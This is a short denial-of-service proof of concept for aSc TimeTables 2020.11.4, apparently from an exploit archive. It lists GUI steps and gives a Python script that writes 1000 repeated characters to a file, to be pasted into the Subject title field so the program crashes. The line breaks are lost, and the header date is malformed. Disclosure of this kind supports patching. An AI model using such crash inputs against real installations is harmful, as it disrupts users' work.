# Exploit Title: aSc TimeTables 2020.11.4 - Denial of Service (PoC)# Date: 2020-24-02# Exploit Author: Ismael Nava# Vendor Homepage: https://www.asctimetables.com/#!/home# Software Link: https://www.asctimetables.com/#!/home/download# Version: 2020.11.4# Tested on: Windows 10 Home x64# CVE : n/a# STEPS# Open the program aSc Timetables 2020# In File select the option New# Put any letter in the fiel Name of the Schooland click Next# In the next Windows click NEXT# In the Step 3, in Subject click in New # Run the python exploit script, it will create a new .txt files# Copy the content of the file "Tables.txt"# Paste the content in the field Subject title# Click in OK# End :)buffer='Z'*1000try:file=open("Tables.txt","w")file.write(buffer)file.close()print("Archive ready")except:print("Archive no ready")